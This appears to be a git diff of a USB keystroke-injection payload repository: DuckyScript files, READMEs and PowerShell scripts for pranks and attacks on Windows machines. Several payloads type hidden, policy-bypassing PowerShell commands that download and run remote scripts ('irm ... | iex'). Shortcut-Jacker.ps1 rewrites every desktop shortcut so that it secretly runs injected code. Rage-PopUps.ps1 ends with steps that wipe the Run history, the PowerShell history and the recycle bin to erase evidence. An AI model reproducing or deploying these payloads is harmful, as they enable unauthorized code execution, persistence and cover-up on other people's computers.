STRING powershell -w h -NoP -NonI -Ep Bypass $wav='';irm https://jakoby.lol/vus | iex
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
114
Payloads/Play-WAV/README.md
Normal file
114
Payloads/Play-WAV/README.md
Normal file
|
|
@ -0,0 +1,114 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Play-WAV
|
||||||
|
|
||||||
|
A script used to download a WAV file and play it after a mouse movement is detected.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program starts off by using an Invoke-WebRequest to download a WAV file.
|
||||||
|
The system volume is then turned up to the max level.
|
||||||
|
Then the script will be paused until a mouse movement is detected.
|
||||||
|
After a mouse movement is detected, the WAV file will be played.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Place the WAV URL in the $wav variable
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download your WAV file
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass $wav='';irm https://jakoby.lol/vus | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
74
Payloads/Rage-PopUps/Rage-PopUps.ps1
Normal file
74
Payloads/Rage-PopUps/Rage-PopUps.ps1
Normal file
|
|
@ -0,0 +1,74 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Rage-PopUps | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
This script will open a series of pop-ups in order to taunt your target. I wrote it initially to target call center scammers.
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program is meant to taunt your target. Below are a series insults you can modify as you like. The program will generate a Pop-up
|
||||||
|
for each one of them.
|
||||||
|
#>
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
|
||||||
|
# The number of times you want it to cycle through your list of questions
|
||||||
|
|
||||||
|
$cycles = 3
|
||||||
|
|
||||||
|
# List as many questions here as you like, it will cycle through all of them
|
||||||
|
|
||||||
|
$msgs = @(
|
||||||
|
"Are all scammers as dumb as you?"
|
||||||
|
"Is the pay worth being this big of a loser?"
|
||||||
|
"Do your parents know what you do for a living?"
|
||||||
|
"Does you boss know much much you suck at this job?"
|
||||||
|
)
|
||||||
|
|
||||||
|
for ($i=1; $i -le $cycles; $i++) {
|
||||||
|
|
||||||
|
Foreach ($msg in $msgs) {
|
||||||
|
[System.Windows.Forms.MessageBox]::Show($msg , "You're-a-Loser.exe" , 4 , 'Question')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
16
Payloads/Rage-PopUps/Rage-PopUps.txt
Normal file
16
Payloads/Rage-PopUps/Rage-PopUps.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
REM Title: Rage-PopUps
|
||||||
|
REM
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM
|
||||||
|
REM Description: This payload is meant to make a never ending supply of taunting pop-ups. See Rage-PopUps.ps1 for more details
|
||||||
|
REM
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
REM Remeber to replace the link with your link for the intended file to download
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
150
Payloads/ShortcutJacker/README.md
Normal file
150
Payloads/ShortcutJacker/README.md
Normal file
|
|
@ -0,0 +1,150 @@
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<h1 align="center">
|
||||||
|
<a href="https://git.io/typing-svg">
|
||||||
|
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Shortcut+Jacker!+😈¢er=true&size=30">
|
||||||
|
</a>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Shortcut Jacker
|
||||||
|
|
||||||
|
<p align="left">
|
||||||
|
<a href="https://www.youtube.com/watch?v=sOLIdqpzrW4">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/SCJ-TV2.png width="300" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube Tutorial
|
||||||
|
</p>
|
||||||
|
|
||||||
|
A script used to embed malware in the shortcut on your target's desktop.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This payload will run a PowerShell script in the background of any shortcut used on the target's desktop.
|
||||||
|
|
||||||
|
This is done by taking advantage of the `Target` field where PowerShell commands can be stored or run.
|
||||||
|
|
||||||
|
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the `$code` variable and it will still run.
|
||||||
|
|
||||||
|
So if your command exceeds that, consider using an IWR function to download and execute a longer script.
|
||||||
|
|
||||||
|
I have an Invoke WebRequest tutorial for that [HERE](https://www.youtube.com/watch?v=bPkBzyEnr-w&list=PL3NRVyAumvmppdfMFMUzMug9Cn_MtF6ub&index=13)
|
||||||
|
|
||||||
|
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/properties.jpg" width="300">
|
||||||
|
|
||||||
|
Inside the .ps1 file you will find a line at the beginning with a ```$code``` variable. This is where the PowerShell code you want executed is stored.
|
||||||
|
|
||||||
|
---------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/code.jpg" width="900">
|
||||||
|
|
||||||
|
---------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Using the `Get-Shortcut` function we will get the following information we can then use to maintain the integrity of the appearance of the shortcut after manipulating the `Target` field.
|
||||||
|
|
||||||
|
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/shortcut.jpg" width="900">
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
Once the script is executed, all of the shortcuts on your target's desktop will be infected with the PowerShell code you have stored in the `$code` variable in the .ps1 file
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* An internet connection
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||||
|
</p>
|
||||||
10
Payloads/ShortcutJacker/Shortcut-Jacker-Execute.txt
Normal file
10
Payloads/ShortcutJacker/Shortcut-Jacker-Execute.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
REM Title: Shortcut-Jacker
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Description: This payload will run a powershell script in the background of any shortcut used on the targets desktop
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass iwr LINK | iex
|
||||||
|
ENTER
|
||||||
|
REM Remember to replace the link with your DropBox shared link for the intended file to download
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
118
Payloads/ShortcutJacker/Shortcut-Jacker.ps1
Normal file
118
Payloads/ShortcutJacker/Shortcut-Jacker.ps1
Normal file
|
|
@ -0,0 +1,118 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Shortcut-Jacker | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
This is payload used to inject PowerShell code into shortcuts.
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This payload will gather information on the shortcuts on your targets desktop.
|
||||||
|
That data will then be manipulated to embed a PowerShell script.
|
||||||
|
This script will be ran in the background when the short cut is.
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
The PowerShell code stored in this variable is what will run in the background.
|
||||||
|
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the $code
|
||||||
|
variable and it will still run.
|
||||||
|
#>
|
||||||
|
|
||||||
|
$code = "Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('Hacked')"
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
function Get-Shortcut {
|
||||||
|
param(
|
||||||
|
$path = $null
|
||||||
|
)
|
||||||
|
|
||||||
|
$obj = New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
if ($path -eq $null) {
|
||||||
|
$pathUser = [System.Environment]::GetFolderPath('StartMenu')
|
||||||
|
$pathCommon = $obj.SpecialFolders.Item('AllUsersStartMenu')
|
||||||
|
$path = dir $pathUser, $pathCommon -Filter *.lnk -Recurse
|
||||||
|
}
|
||||||
|
if ($path -is [string]) {
|
||||||
|
$path = dir $path -Filter *.lnk
|
||||||
|
}
|
||||||
|
$path | ForEach-Object {
|
||||||
|
if ($_ -is [string]) {
|
||||||
|
$_ = dir $_ -Filter *.lnk
|
||||||
|
}
|
||||||
|
if ($_) {
|
||||||
|
$link = $obj.CreateShortcut($_.FullName)
|
||||||
|
|
||||||
|
$info = @{}
|
||||||
|
$info.Hotkey = $link.Hotkey
|
||||||
|
$info.TargetPath = $link.TargetPath
|
||||||
|
$info.LinkPath = $link.FullName
|
||||||
|
$info.Arguments = $link.Arguments
|
||||||
|
$info.Target = try {Split-Path $info.TargetPath -Leaf } catch { 'n/a'}
|
||||||
|
$info.Link = try { Split-Path $info.LinkPath -Leaf } catch { 'n/a'}
|
||||||
|
$info.WindowStyle = $link.WindowStyle
|
||||||
|
$info.IconLocation = $link.IconLocation
|
||||||
|
|
||||||
|
return $info
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Set-Shortcut {
|
||||||
|
param(
|
||||||
|
[Parameter(ValueFromPipelineByPropertyName=$true)]
|
||||||
|
$LinkPath,
|
||||||
|
$IconLocation,
|
||||||
|
$Arguments,
|
||||||
|
$TargetPath
|
||||||
|
)
|
||||||
|
begin {
|
||||||
|
$shell = New-Object -ComObject WScript.Shell
|
||||||
|
}
|
||||||
|
|
||||||
|
process {
|
||||||
|
$link = $shell.CreateShortcut($LinkPath)
|
||||||
|
|
||||||
|
$PSCmdlet.MyInvocation.BoundParameters.GetEnumerator() |
|
||||||
|
Where-Object { $_.key -ne 'LinkPath' } |
|
||||||
|
ForEach-Object { $link.$($_.key) = $_.value }
|
||||||
|
$link.Save()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function hijack{
|
||||||
|
$Link = $i.LinkPath
|
||||||
|
$Loc = $i.IconLocation
|
||||||
|
$TargetPath = $i.TargetPath
|
||||||
|
if($Loc.length -lt 4){$Loc = "$TargetPath$Loc"}
|
||||||
|
$Target = $i.Target
|
||||||
|
if(Test-Path -Path "$Link" -PathType Leaf){Set-Shortcut -LinkPath "$Link" -IconLocation "$Loc" -Arguments "-w h -NoP -NonI -Exec Bypass start-process '$TargetPath';$code" -TargetPath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"}
|
||||||
|
}
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Get-ChildItem –Path "$Env:USERPROFILE\Desktop" -Filter *.lnk |Foreach-Object {$i = Get-Shortcut $_.FullName;hijack $_.FullName}
|
||||||
111
Payloads/Subscribe/README.md
Normal file
111
Payloads/Subscribe/README.md
Normal file
|
|
@ -0,0 +1,111 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Subscribe
|
||||||
|
|
||||||
|
A script I put together to make your target subscribe to your YouTube channel.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script is set to open your YouTube account in their browser where they will be prompted to subscribe to you.
|
||||||
|
SPOILER: They do.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
* Your target will have to be signed into their YouTube account
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* 15 seconds later you have a new subscriber
|
||||||
|
* Your youtube url needs to be inside both double and single quotes " ' url ' "
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -Ep Bypass $channel="'youtube.com/iamjakoby'";irm jakoby.lol/wj4 | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
38
Payloads/Subscribe/Subscribe.ps1
Normal file
38
Payloads/Subscribe/Subscribe.ps1
Normal file
|
|
@ -0,0 +1,38 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Subscribe | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : General | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
